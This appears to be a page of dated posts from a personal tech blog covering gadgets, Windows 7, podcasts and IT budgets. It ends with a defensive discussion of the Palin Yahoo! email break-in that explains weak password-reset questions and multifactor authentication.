  • 3G handset compatible - works with any AT&T 3G Phone.
  • Up to 4 simultaneous voice or data users supported.
  • Device is secure - cannot be accessed by unauthorized users, easy and secure online management of device settings
  • Seamless call hand-over - start calls on your 3G MicroCell and continue uninterrupted even if you leave the building.

Device Requirements:

  • 3G wireless phone/device
  • Broadband service over DSL or cable
  • Computer with internet access for online registration

Additional Information:

  • Installing your device near a window is strongly recommended to ensure access to Global Positioning System (GPS). A GPS link is needed to verify the device location during the initial startup.
  • The 3G MicroCell device is portable. The device may be moved, provided the new location is within the AT&T authorized service area and properly registered online.


Add/Read: Comments [10]
Mobile | Tech
Monday, January 26, 2009 6:40:12 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, January 09, 2009

Microsoft has turned loose its Windows 7 Beta release to the public, and you can download it now. The beta times-out in the fall (it is a test version, after all), and is apparently limited to 2.5 million installs (product keys). You can learn more about the Windows 7 Beta release in our interview with Microsoft's Stephen Rose on RunAs Radio.

As of 11:45 a.m. Pacific time, the "profile.microsoft.com" servers responsible for the first phase of getting the new software were - not surprisingly - too busy. Try again later. We might see things improve in a few minutes (Update: no change after the advertised time, just to many excited people), since the official release time is actually noon Pacific time (GMT -8). But it would be unusual for TechNet to post the page without the software being rolled out.

TechNet Plus subscribers (only) should download the software here.

You can use a program like ImgBurn (cool little app) to put the ISO image on your writable blank DVD.

I already have my downloaded copy and key, so time to install it on my HP laptop machine now that I have some spare time available for the next hour or so.



Add/Read: Comments [1]
Geek Out | Tech | Windows
Friday, January 09, 2009 11:48:15 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, January 07, 2009

The CES Keynote is over, so now you can listen to our exclusive Windows 7 interview with Microsoft Sr. Community Manager for Windows Client IT Pros, Stephen Rose, available at these links:

RunAs Radio Web Site | Download MP3 file | Download WMA file

Alongside a core message of stepping up expectations in technology despite the economy, Microsoft announced this evening that it's releasing its Windows 7 Beta (build 7000) to the public for open testing and feedback. Last week Richard Campbell and I interviewed Microsoft's Stephen Rose for today's episode of RunAs Radio to discuss today's beta release, which was officially announced by Steve Ballmer during his keynote at CES tonight.

The general public gets it to download it this weekend, while MSDN and TechNet customers can get it now (product keys through the standard methods). Our interview with Stephen Rose contains some details about the how's and when's of getting the beta software for different people, as well as what one can expect from Windows 7.

It's good to see Microsoft adopting an open-beta model, where anyone who wants to can participate in the feedback process. It's going to be quite the undertaking to manage so many downloads and users, but I imagine it will be very much worth it in the end.

Of course, running a beta OS (which I tend to do regularly) isn't for the timid nor faint of heart. But for those who are comfortable, I think you'll be pleasantly surprised with the new version and what it has to offer when you check it out. Note that both 32- and 64-bit editions are available and the beta expires/times-out in the fall of this year.

Links for more information about and access to the Windows 7 Beta:



Add/Read: Comments [0]
Geek Out | Tech | Windows
Wednesday, January 07, 2009 6:56:11 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

Unfortunately, I'm not one of the customers that AT&T has apparently been reaching out to in their testing of in-home micro wireless stations. I wish I was, since I live in the sticks and barely get service at all on my AT&T wireless phone. This is exactly what I need: A broadband-connected device that gives you local 3G coverage in your home.

Ars Technica reports that AT&T has described the device this way:

"AT&T's new product is a small, security-enabled cellular base station that easily connects to your home DSL or Cable Internet, providing a reliable wireless signal for any 3G phone in every room of your house. The device allows you to have unlimited, nationwide Anytime Minutes for incoming or outgoing calls."

If anyone from AT&T happens to be reading, I'd be ecstatic to try the device out and provide detailed feedback. Feel free to contact me, my email and phone number are over in the sidebar. I'm just sayin' ... :-)



Add/Read: Comments [3]
Mobile | Tech
Wednesday, January 07, 2009 3:49:31 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

SD cards have become a de facto standard format for media in most devices, with a couple holdouts (namely Sony, which predictably uses a proprietary format). As such, the format has grown and there's been quite a bit of innovation effort focused in the SD arena.

A couple of announcements made this week at the CES show in Las Vegas are worth paying attention to. In one announcement, we learn that the SD format will support massively larger storage. In the other announcement, a popular WiFi-enabled SD card gains some nifty new video-handling features.

SDXC means on-card storage increase to a theoretical 2 terabytes

The SD Association announced a new standard (links to PDF file) that will soon have us leveraging massively larger storage capabilities (with much higher purchase prices, one would have to assume - we will have to see what the economies of scale bring us):

"The new SDXC specification provides up to 2 terabytes storage capacity and accelerates SD interface read/write speeds to 104 megabytes per second this year, with a road map to 300 megabytes per second."

That's some serious storage and speed. Photographers and HD videographers can soon rejoice. Just don't lose your little 2-terabyte card. Of course, it's likely that new devices will be needed to support the new standard. The SD Association says the SDHC, Embedded SD and SDIO specifications will also benefit from the new SD interface speeds. I'd be very (and pleasantly) surprised if we can take advantage of the larger storage capabilities in existing devices.

New Eye-Fi SD cards will allow direct HD uploads to YouTube

Eye-Fi already has a great thing going with their SD cards that use WiFi to transfer digital images, and now they're previewing a new card technology that will allow you to directly transfer your HD video content straight from the card to YouTube via WiFi. Now that's cool. I really want one of those for use in my Kodak Zi6 HD camera, and I'd use it in my full-sized HD camera, too. The power-requirement questions rattling around in my head will have to be answered at a later date, and I hope it will handle video as well as still images on the same card. Unfortunately they're not available yet, and no date was set for release. But I, for one, will definitely be watching for this.



Add/Read: Comments [3]
Mobile | Tech
Wednesday, January 07, 2009 2:29:37 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

Ever wonder how they put that amazing magical yellow line on the line of scrimmage and at the first-down point on the college and NFL football games we watch on TV? It's a terrific technology and has in many ways made watching football very different since it was adopted several years ago.

Well, for those of use who have wondered exactly how they do it, here's a video via FANDOME that explains in some technical detail how the magic TV line on the football field works:


Very cool stuff.



Add/Read: Comments [1]
Geek Out | Tech
Wednesday, January 07, 2009 1:41:20 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
LG Wrist Watch/PhoneThis is pretty cool. Not completely new, but interesting for the future.

LG will (eventually) be shipping a wrist-wearable cell phone that they just showed at the CES show in Las Vegas. I'm just pointing it out because this might just be the first watch I'd be willing to actually wear. Maybe. I'll probably hold out for a little thinner and smaller. Regardless, it's pretty cool.

There's an Engadget video of it at: http://www.viddler.com/explore/engadget/videos/116/

Would you want to wear a phone on your wrist? Useful or just geeky? I can hear the wrist-cancer complaints coming already...

(via Engadget)

Update - More links:

IntoMobile coverage - with lots of pics



Add/Read: Comments [1]
Geek Out | Mobile | Tech
Wednesday, January 07, 2009 12:16:18 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, January 06, 2009

I've written here several times in the past about Pandora, the slick Internet music app that streams music it determines you'll like based on a starting point you give it (like a specific artist, for example). You can refine the channel by voting up or down, song by song. Based on your votes and the "genetic" makeup of the music you rate, it determines what other music to put into the channel. The greatest aspect of using Pandora is discovering some truly great music and artists, many of which I never heard of before Pandora. It changed my music world.

Not too long ago, Pandora for the iPhone was released, and it was the number-one free iPhone app for 2008, and for good reason. It works well on WiFi or 3G networks and provides the majority of the functionality you get on the full-blown web app.

Well, today Pandora released v2 of their iPhone app, and they've added even more to it. Gleaned from the release notes, here are the new features:

  • Tap the album art to see a progress bar, create a station from the current song or artist, or to email the station to a friend
  • View the "back side" of the album art to read artist bios
  • Rotates to a landscape layout to see recently played songs (coverflow-style)
  • Play samples of each of your bookmarked songs
  • Create a station based on genre

It's a cool update. I just wish I could close it and have it play in the background while I do other thing son my iPhone. I mean, come on Apple - It's the number-one app, make an exception, please! Anyhow, I don't know if I will use it more (it was already pretty great), but it adds some smart new functionality that's appreciated. You can find it here (links to iTunes App Store) or just get it for free via the App Store icon on your iPhone or iPod Touch.

A few photos to show you what I'm talking about:


Artist bio


'Create New Station' options


Sending to a friend without leaving the app


Coverflow-like view of past-played songs



Add/Read: Comments [2]
Apple | Mobile | Tech
Tuesday, January 06, 2009 8:01:50 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Sunday, January 04, 2009

Mark Minasi is a true character, and always a fun guy to have a conversation with. While in Las Vegas at the Connections conference Richard Campbell and I had a couple fun discussions with Mark, including one on the concept of Cloud Computing, and in the context of Microsoft's recent Azure announcement.

Mark's take on the whole cloud-computing thing is an interesting one. You can listen to our conversation with him via the RunAs Radio show link (Site|MP3).

While you're at it, you might also be interested in our other interview discussion with Mark that we did in Vegas, in which we covered (sort of, and among many other random things) Windows 7 (Site|MP3). It's a little crazy and chaotic, but was also a lot of fun.

Enjoy.



Add/Read: Comments [0]
RunAs Radio | Tech
Sunday, January 04, 2009 12:17:39 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Sunday, December 21, 2008

I'm stuck at home during this incredible and unusual snow storm. I quite literally cannot drive my four-wheel-drive truck out of my driveway due to the wet and icy layer under the two feet of snow that's accumulated, melted slightly, and then refrozen over the past week. Unfortunately, when the storm is at its worse, my iPhone has lost it's connection to AT&T's network. "No service" has become its full-time status. I've tried both enabling 3G (which we don't have out here) and restricting it to EDGE only, and it simply will not connect. Until recently I would at least get a signal if I set it down it in the right spot.

When the power goes out at the house, I need to be able to make at least one phone call (to the power department). In a storm out here, power outages are a fact of life. I've been unable to call the PUD this week because I had no cell service on the iPhone. And the power went out for 7 hours the other day.

Today I got fed up with the inability to place a call and waded through the sea of snow to my truck (which is stuck), rifled through my center console, and found my old Blackberry 8800 and the battery. It's been in there and unused for over a year. I popped the SIM card out of the iPhone and slid it into the Blackberry, then popped the battery in. Even after sitting for a year the battery had a half-full charge (wow) and the Blackberry powered up and within a few second acquired the AT&T network. Text messages started to flow in - success! Of course, the data connection was refused, but the GSM phone service works fine for text and voice service. It makes Snowmageddon a little more tolerable.

I've grown more and more frustrated with my iPhone's network performance over the past month. I plan to take it in and see if it's the individual phone, or a network change, or if it's more of a design thing, but I'm not holding my breath. Luckily the iPhone still works on WiFi without the SIM card (which actually makes it an "i" rather than an "iPhone" I suppose, heh), and that's good because I rely on it for a number of truly invaluable network-capable applications.

Anyone else done comparisons, or had network performance issues with their iPhone 3G after some time has passed? I've done complete restores of the phone to make sure the phone was clean software-wise, same issues. Any experience you have will be appreciated.



Add/Read: Comments [5]
Apple | Tech | Things that Suck
Sunday, December 21, 2008 7:13:13 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, December 12, 2008

There are a few different options out there for running virtual machines on your desktop. One of those available options is Parallels, and an electronic-delivery special offer lets you get two copies of Parallels v4.0 for the price of one. That's $40 per copy, quite a deal. So, if you have a need to run Windows apps on your Mac, or you want to run any other PC-based operating system, you might consider grabbing a copy. You could give the other one away as a good, geeky Christmas gift.

Link: Parallels two-for-one offer



Add/Read: Comments [0]
Apple | Tech
Friday, December 12, 2008 10:36:47 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, December 03, 2008

15 years ago Rwanda was the scene of massive genocide. Today the country is working to transform itself become an Internet hub of the African continent.

This is a good video by Internet Evolution, and shows that the Internet's not just about big companies and catch-phrase ideas like Web 2.0. You can't really see or know the extent of the Internet and it's impact without going places to see the impact for yourself. Since most of us can't do that on our own, Internet Evolution's Web Wide World videos take us there.



Add/Read: Comments [2]
Tech
Wednesday, December 03, 2008 8:56:58 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, November 28, 2008

Not that you'd actually want to do it (or at least I don't think I would), but you have to admit it's pretty cool that you can now run Linux on the iPhone. It's really basic so far, but no doubt it will get better and have more and more hardware/feature support. Maybe a dual-boot option would be cool though, after all...

Details are here and Engadget has info, too. Video showing it off below. What would you use it for?




Add/Read: Comments [0]
Apple | Geek Out | Mobile | Tech
Friday, November 28, 2008 11:35:36 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, November 18, 2008

Portland's Shizzow, a thankfully-simple service that you can use to "shout" to your people and let them know where you are, has announced they're expanding into the California market. The service got its start here in Portland, Oregon and the team has methodically built it out and run it in the home market up until now.

The basic idea of Shizzow is this: A quick and easy social networking service that lets you quickly and easily communicate to your friends about where you are so you can spend more time face-to-face. It's really as simple as that. You don't need to know addresses, you can just provide a name. Shizzow figures out the rest. You can also add custom locations (like Greg's place, for example). There's a simple interfaces for web, mobile and SMS.

Now Shizzow has sprouted wings and is offering the service to people in California, with a focus on the San Francisco Bay Area - That's quite an expansion! The service is available for people living in either area via an invitation, which you can request here. I also have ten invitations available for anyone who asks, until they're gone. Just email me or leave a comment (be sure to provide your email address in the comment form so I can send it to you).

Great job by the Shizzow crew, which (it should be noted) is a small group of people that have built and run this operation outside of the their day jobs. That's how they plan to expand - Bootstrap it along and continue along the lines of their current success. I hope we'll see an API sometime soon, since that would provide the ability to deliver mobile apps and what have you, and could open up the use (and in the end enhance usability) of the system substantially. Cool stuff!



Add/Read: Comments [0]
Tech
Tuesday, November 18, 2008 9:11:57 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, November 07, 2008

While at the TechEd EMEA conference is Spain this week, I had the opportunity to visit with Thomas Dawkins from Microsoft's Trustworthy Computing Group. He's the guy responsible for the Microsoft Security Assessment Tool (or MSAT for short). The MSAT is a tool that's been around for a couple of years, but it was recently updated by Thomas with some great new enhancements, including a new user interface and a stronger, more complete set of back end information.

MSAT is a free tool that you can download from Microsoft. It's targeted to companies of 1,500 employees or smaller (as a general rule) and follows a questionnaire format to assess weaknesses in the IT security environment. Bt it's not a parching tool or a scanning tool. Instead, it leverages standards like ISO 27001 and NIST-800.x to baseline the security readiness of your organization.

It enables people to do what we security professionals hope for: analysis across each of the people, process and technology elements of a business' computing environment in order to ascertain how and where we need to spend our time and energy. The tool not only describes the state of readiness of the assessed environment, it also provides best-practice recommendations rooted in industry-accepted standards that can be used to improve the organization's security stance.

One of the most likely users of a tool like this is the IT manager, but one can also picture security consultants, business managers, and anyone else with responsibility for an organization's security operations leveraging the tool and the reports it generates.

You'll also likely be interested to know that Microsoft has released the fifth version of its Security Intelligence Report, which looks at the state of computer and information security over the past six months. You can find links to the full report and the key findings summary documents on Microsoft's web site.



Add/Read: Comments [0]
IT Security | Tech
Friday, November 07, 2008 7:01:17 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, October 29, 2008

It's been an interesting and exciting few days in iPhone land.

In the just past couple days, Google Earth and a voice recording application from Griffin have both been released for the iPhone. Add to that the news that iPhone owners now have access to AT&T WiFi hotspots for free - nice! Google Earth is - of course - free, and Griffin iTalk is free for a limited time, along with it's Mac client (for syncing).

Google earth on the iPhone (iTunes app store link) is pretty cool. It takes advantage of the GPS and accelerometer, and other than that it's, well... Google Earth, just on a smaller screen. You can use touch/twist to rotate gestures on the screen, as you'd expect. I should mention that it's crashed a lot on me, and that when I first installed it I had to hard-reset my phone to get anything to work. But for the most part its been as stable as any other complex app on the device (meaning mediocre to so-so). It's worth the install for sure, if for no other reason then just because of most of the cool things you can do with Google Earth on your Mac or PC.

The other great app that everyone with an iPhone or second-gen iPod Touch should run and get right now (while it's free) is Griffin's iTalk and the complementary iTalk Sync client, which allows you to sync your audio recordings made with the iPhone app to your Mac (PC version coming soon) over the air via WiFi. It works like a charm, is well-documented, looks great and the audio quality is user configurable. The best quality setting sounds pretty great. It could realistically be used for man-on-the-street style interviews.

Provide a file name, select the recording quality, and start recording by clicking the Big Red Button:


The green button means you're actively recording. The VU meter shows your audio levels live. Click the green button to stop recording.


You'll end up with a file (or more than one if you record multiple times) showing in the recording list.


When you load up the Mac sync client app (a small and quick install) and start the iPhone app on the same wireless network, you'll be prompted to allows the sync client to access your iPhone's recordings.


While copying the file via the sync program, the iPhone shows you the status and progress:


And finally you have the files on your Mac (or soon on a PC), in .AIFF format, ready to use. Nice and easy!


I plan to play with the app in Barcelona next week and test the audio quality to see if it's really good enough for on-the-spot interviews for the podcast. It's worth a shot, although it won't touch the quality of my Zoom H4 recorder, of course.



Add/Read: Comments [5]
Apple | Mobile | Tech
Wednesday, October 29, 2008 8:06:48 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, October 24, 2008

Update: Microsoft's Mac business unit just set the land-speed record for turning around a fix. The story is available over at TUAW.

I've been wrestling with a problem for a few days after applying the latest Office 2008 for Mac update (v12.1.3). Everything works well except for sending and responding to meeting notices.

After the update, when Entourage tries to send a meeting notice or response, it throws the following: "[Error] Unexpected data was encountered. [Explanation] Mail could not be sent. Account name: 'Exchange - Greg' Error: -17997."


Needless to say, this is a frustrating problem. I managed to send some original meeting notices by opening them up after they failed to send (you can find them in the Outbox) and clicking the 'Send' button a second time. That worked for some reason. However, the same workaround doesn't seem to work for meeting responses, so I am having to send emails created by hand in order to confirm meeting requests with people who send them to me. Thankfully, when I accept a meeting request it does make it onto my calendar properly - it's just the outbound email that gets hung up.

I've had problems in the past with Entourage not parsing updates created by Outlook, but this is a much bigger and more painful problem. This is another case of "if it just worked the way it's supposed to, it would be the best option by far." A lot like my iPhone in that regard. Glitches kill the experience and create big frustration.

UPDATE: I just found a Microsoft newsgroup thread discussing the problem, and apparently it's a known issue bug in the latest release. Hopefully they'll be able to release a fix quickly. Workarounds include:

  • Uninstall Office and reinstall, then update to the version prior to the latest release
  • Move invitations you create from the Outbox to the Drafts folder and resend (won't work for acceptance notifications, though)
  • Grin and bear it. :)

I may try removing my Entourage account profile from this computer completely and then setting it back up with the Exchange server fresh just to see what happens. I'd lose a few things that are store local-only in the process, but that won't really hurt me should I decide to go that route.

Anyone else having this issue? Any other great workaround ideas?



Add/Read: Comments [0]
Apple | Tech
Friday, October 24, 2008 8:31:01 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, October 22, 2008

The fall conference season is upon us, and I'll be off to Barcelona on the first of November for a week at the Microsoft TechEd Europe/Middle East/Asia conference. I'll be joining my friend and colleague, Richard Campbell, there for the week. If by chance you'll also be there, be sure to let me know ahead of time!

Then, the following week Richard and I will both be traveling to Las Vegas for the Connections conference, where we'll be doing a live RunAs Radio recording session. Should be fun, and we have a great guest slated. More on that later.

If you'll be at either conference, please let me know via a comment or an email!



Add/Read: Comments [1]
RunAs Radio | Tech
Tuesday, October 21, 2008 11:36:00 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, October 16, 2008

My friend Richard Campbell and I spent the morning recording a couple episodes of RunAs Radio for publication in the near future. One of our guests (whom we shall reveal when the show is published) provided some amazingly great information about using Performance Monitor, or "perfmon" for short. He's a perfmon Ninja, really. I'm excited about that show because I think when it comes up I think people will be able to learn something quite useful, as it includes some desktop video (perfmon is, after all, a very visual tool) and other resources. I think you'll like it.

Needless to say, both of us have been playing with perfmon for the past hour. Richard just IM'ed me with a funny situation, though:

Not really sure how that works. :)

So, be sure to check out RunAs Radio for the Performance Monitor show, which will be published sometime in the next couple weeks. We've also had a number of other great guests sit down with us over the past while, talking about some very useful topics suited for IT professionals. So check it out!



Add/Read: Comments [0]
Humor | RunAs Radio | Tech
Thursday, October 16, 2008 12:18:14 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, October 13, 2008

Dumping the warm-fuzzy naming convention and avoiding the year-based names of the past, Microsoft announced today that the next version of Windows, which will replace Vista, will be called simply "Windows 7."

Good idea.

It's the seventh version of Windows. It makes sense. Returning to a solid, basic, fundamental naming convention helps, I think, in helping to focus purpose on ensuring the fundamental requirements are met, that a solid, simple (from a usability standpoint at least) product is released. Etherial names like "Vista" sound cool, but subconsciously they also evoke an image and set an expectation of something magical, something not quite real.

That's not what's needed, especially this next time around. So keeping the name simple is the first sign of staying focused on the core product. I like that.

As Mike Nash explains, this is the first time a code name for an early product in development has been retained for the final product. Well, given the substantial departure from the conventional Microsoft code names, I'd say it's okay this time. :)

More information is available on the Windows Vista team blog, where the announcement was made.



Add/Read: Comments [0]
Tech | Windows
Monday, October 13, 2008 6:49:46 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

Analyst and research company Gartner revised its IT industry projection figures and - as reported this morning by ZDNet and released by Gartner themselves - presented them during a symposium keynote at the company's big annual IT conference, which opened this morning. In a nutshell, Gartner analyst Peter Sondergard says they still expect growth, and that even in the very worst case, IT spending next year will fall about 2.5 percent. From ZDNET:

  • Gartner had expected budgets to grow 3.3 percent in 2009.
  • Now the most likely case is IT budget growth of 2.3 percent to 0 percent.
  • The worst case is that IT budgets will be down 2.5 percent.

Forrester Research also recently cut it's projections for 2009 IT spending, but still ended up with figures in positive growth territory. So, if the analysts are to be believed, the business sector feeding products and services to IT should still see some growth.

The question is, where will that growth happen? My guess would be that one good place to be doing business is anywhere products or services are commoditized and can be outsourced, as well as in key technology areas like security and high availability.

Having successfully managed an IT organization at a "dot-com" company through a few years of painful economic times early in this decade, I can say from experience that at the time we had to cut overall IT spending dramatically to allow the company to survive. We went quickly from buying lots of new computers and software and building out data centers to buying practically nothing new for two full years. We renegotiated stacks of contracts with vendors and major software suppliers, consolidated services, convinced vendors to charge us less, and in the end prioritized every single project and said "no" a lot.

As a result, we cut our multi-million dollar budget almost in half and - in combination with other business changes - put ourselves in a position where we were just able to weather the storm financially. It was painful and a bit scary at times, and we had to deal with the side effects of substantial change. We had to get very creative in leveraging what we already had and nothing more, but in the end we all learned a difficult yet necessary lesson: You don't have to spend, spend spend to survive, or even to thrive in some cases.

In fact, what we needed to do was just the opposite of the "spend" approach. We would still spend where it made the most sense - but our decision-making process changed dramatically. You have to shift where the money goes to maximize your dollar's impact in the specific environment, adapt to the rapid changes in the marketplace, and work with your business partners and vendors to make it through to the other side. Smart vendors and good partners know that doing whatever it takes to survive a storm together means a better relationship when we all come out of the clouds.

Gartner has a list of ten things they say IT organizations need to consider when faced with tough economic times. They are not easy or happy things. But I think they're spot-on. I've had to do all of these things when times were toughest.

  • Reduce headcount or freeze hiring
  • Renegotiate with technology and service providers
  • Curtail data center expansion, virtualize assets and lease them back
  • Consolidate systems
  • Outsource commodity
  • Offshore outsource
  • Investment shutdown
  • Prioritize projects
  • Mothball businesses and projects
  • Change leadership and restructure IT teams

What's your IT plan? Are your budgets shrinking, or staying about the same? How would you prepare for tight times ahead?



Add/Read: Comments [0]
Tech
Monday, October 13, 2008 7:30:20 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, October 07, 2008

The Chumby is a cool little Internet-enabled device that sits pretty much wherever you want and does all sorts of cool things. You can check it out here. Today it became even better that before, in a way that I especially appreciate, so I jumped on eBay to see if any were available there (you can buy them online new, too).

So what's this new cool thing that makes it even better in my eyes? Pandora - the Internet "radio station" app that I already use on my computer as well as my iPhone, is now available for Chumby.

I'm looking forward to waking up to my Pandora stations, viewing the latest weather for flying, playing new podcasts when they become available, displaying some of my favorite pictures. I'm sure there are a ton of cool things I'll be able to use it for that I can't possibly think of yet. I'll have to take a look at the Chumby Widgets guide while I wait for it to arrive.

A bit about the Chumby:

Chumby was designed from the beginning to take all your favorite parts of the internet, whether they’re video clips, or internet radio stations, or anime cartoons, or sports scores or the weather, or anything else, and, using your existing wi-fi connection, simply deliver them to you at a glance. Automatically, one after the next. You just leave it on — don’t worry, your carbon footprint isn’t getting much deeper, chumby draws far less power than a light bulb. No need to go to your study and boot up your computer and launch a browser, no need to fish your smartphone out of your purse and launch the browser application (…and wait) to get your favorite bits of online goodness.

Do you have one? What do (or would) you use it for?



Add/Read: Comments [1]
Geek Out | Tech
Tuesday, October 07, 2008 6:53:09 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

DirecTV had an unusual technical glitch sometime in the past 48 hours, and as a result customers with either standard or HD DVRs might experience issues with a "frozen remote" or similar behavior. DirecTV Has emailed customers to let them know (see below).

This is important because if your DVR is in the hung state they describe, you need to reset it, or your scheduled recordings will likely not be recorded.

I had the issue exactly as described the night before last on my HD-DVR, and did a red button reset (RBR) at that time in order to restore it to normal functionality, which is pretty much what the email from DirecTV says to do:

IMPORTANT NOTICE ABOUT YOUR HD DVR OR DVR RECEIVER

In our effort to improve and expand our service, we experienced a temporary technical glitch. If your HD DVR or DVR receiver is not responding to your remote control or front panel commands, you can resolve this issue by pressing the red "Reset" button located inside the small door on the front right corner of your receiver. Please allow about 15 minutes for your receiver to complete the resetting process. Once completed, your picture will return automatically. Unfortunately, any show you may have scheduled to record yesterday will not be available on your DVR.

We sincerely apologize for any inconvenience this may cause you. Our promise is to provide you with the best television experience, and to resolve any issues that might arise as quickly as possible. If you have any further concerns, please do not hesitate in contacting us at 1-800-347-3288.



Add/Read: Comments [25]
Random Stuff | Tech
Tuesday, October 07, 2008 4:43:36 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Saturday, September 27, 2008

I speak English natively. My friend that I want to chat with in IM speaks German. A chat-helper service called MTBOT (Microsoft Translation Robot) allows me to type in English, yet my friend sees and reads what I wrote translated into his native German language. Likewise, when he types in German, what I see is his messages machine-translated into English.

If you use Windows Live Messenger, you too can add mtbot@hotmail.com to your buddy list. When you want to chat with someone who speaks another language, add them to a "conversation" with your TBot. You and the other person are asked to specify your native language, and after that you just start typing.


There are a number of commands you can issue to control TBot's behavior. To see a list of commands, just type "TBOT ?" in the IM window. You'll then be presented with the list of available commands:


Cool stuff. Check out the Translator information posted over at the Live Search blog.

Currently-supported languages:

  • English to/from:
    • Arabic
    • Chinese Simplified
    • Chinese Traditional
    • Dutch
    • French
    • German
    • Italian
    • Japanese
    • Korean
    • Portuguese
    • Russian (Russian to English only)
    • Spanish
  • Chinese Simplified to/from Chinese Traditional



Add/Read: Comments [1]
Tech
Saturday, September 27, 2008 8:08:44 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

Call your Congressional rep now (202-225-3121) and ask them to support H.R. 7084, the Webcaster Settlement Act of 2008. Pandora and other similar services need your help.

I called last night and left a message for my Congressman in Oregon, David Wu. If it's your first time, calling just know it's easy: The operator will answer the phone, you ask for your congressman by name, and they transfer you to the correct office.

I left a message for Wu last night stating that I wanted him to support the resolution because it was of a timely nature and it ensured fair ad reasonable competition, and that industry lobbyist attempts to defeat it or stall it were anticompetitive in motivation.

If you use online streaming music services like Pandora or other similar ones, their very existence may depend on this resolution, so make your voice known now. It really does make a difference.

If you don't know who your Congressperson is, you can look them up quickly here. All you need is your ZIP code.



Add/Read: Comments [3]
Tech
Saturday, September 27, 2008 7:13:48 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, September 23, 2008

On Wednesday morning (September 24th, that is) at 9 a.m. Pacific time, Ed Bott will be joining Microsoft Technical Fellow Mark Russinovich and others for a live IT Springboard panel online discussing Windows Vista performance, a topic of interest to many and (based on my observations) understood by few.

You can ask questions live or email them to the panel ahead of time. The panel should be located here when it happens. The Springboard Virtual Roundtable Series is a great IT resource, worth keeping an eye on. Here's some detail:

Springboard Series Virtual Roundtable
Under the Hood: Windows Vista Performance…Need Answers?

Join Mark Russinovich and a panel of industry experts for a LIVE virtual roundtable to explore your top of mind performance issues, common misconfigurations, and tips on how to fix them. From boot times and applets to disk performance and battery life, find out how to optimize Windows Vista and what you can do to improve overall system performance.

Submit your performance questions live during the event or send them in advance to vrtable@microsoft.com.

Save the date!
Wednesday, September 24, 2008
9:00am Pacific Time



Add/Read: Comments [1]
Tech
Tuesday, September 23, 2008 9:59:14 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, September 18, 2008

I wasn't going to write anything about the new Microsoft commercials, which I really like, despite the fact that I wrote about the two Seinfeld/Gates commercials.

But then I realized that the PC Guy in the commercials is Sean Siler. He's a real tech guy who actually works at Microsoft for a living - as opposed to being a professional actor. Here's his TechNet blog.

In fact, Sean epitomizes the "I'm a PC" message. We interviewed him not too long ago for RunAs Radio on the topic of IPv6 (he's the program manager for IPv6 at Microsoft). I thought you might be interested in hearing what Sean had to say at that time. He's wicked smart and a fun conversation.

It sounds like it's been an interesting evening for Sean, but he took the time to exchange a couple emails with me, which was cool of him. Congrats to Sean, and to Microsoft. Good start!

So, here you go - Our interview with Sean from a few months ago:

RunAs Radio #53: Sean Siler Sets Us Straight on IPv6! (download MP3)

And here are the three new commercials. Personally, I like 'em.




Oh and if you send an email to Sean's address as listed in the three videos, you'll get a reply. I'd post it here, but it'll be more fun if you do it yourself. :)



Add/Read: Comments [3]
Geek Out | RunAs Radio | Tech
Thursday, September 18, 2008 9:05:13 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

It's really the classic case study in information (in)security and the need for strong authentication. With all due respect to the good people at Yahoo!, this opportunity to review Internet security mechanisms is too good and too useful to pass up.

By now, we all know Republican vice-presidential candidate Sarah Palin's Yahoo! email account was broken into on Tuesday night (read the link to get the details). Apparently (and fairly obviously), access was gained via the forgotten password mechanism on the Yahoo! webmail interface, which allowed the malicious person to reset the profile's password with just a few pieces of information about the Alaska governor (birthdate, ZIP code and a piece of info related to where she met her spouse) that could be easily discovered by searching Google. That fact that so much of Palin's life history has been documented on the Web makes her that much more vulnerable to knowledge-based security mechanism hacks. It should also be noted that some security questions are better (or stronger) than others, so it's important that questions you choose for online protection are not ones that can be answered with information available on the Internet.

We security folk frequently talk about something called "multifactor authentication." By "multifactor" we mean an authentication process that requires two or more of the following:

  • Something you know (passwords, user names, answers to questions)
  • Something you have (token, device, phone, etc.)
  • Something you are (physical fingerprint, voiceprint, or other biometric measure such as a verifiable, non-spoofable behavior (some call this "something you do"))

Most multifactor auth systems are pretty easy to recognize. You know them when you see them. Those key fobs or cards with the revolving digits that you have to provide at login are a common example. They're also fairly expensive and complicated. Some multifactor technologies are easier to use than others. There are a variety of behind-the scenes systems that track user behavior and other markers to determine if the person accessing an account is the legitimate user or a bad guy, for example. A well-designed and well-implemented system balances usability with security strength, and some systems yield higher results in that regard than others.

In this particular case, the bad guy was able to leverage only things he knew (found via a search engine) to change the password on the account and gain access to the Yahoo! Mail account. No other verification or mechanism was required. That's simply weak security in this day and age.

I walked through the account password reset system on my Yahoo! account, just so I could get a first-hand look at how it works and how simple it is to reset an account there. Honestly, it was a little too easy. Here are the details (you can click each image to see them full-size):

First of all, I selected the option on the login screen that says, "Forgot your ID or password?"


Next I was prompted either to supply an email address for reset, or to choose the option to reset without access to a registered email account (which to me was an immediate red flag). Obviously, I chose the latter.


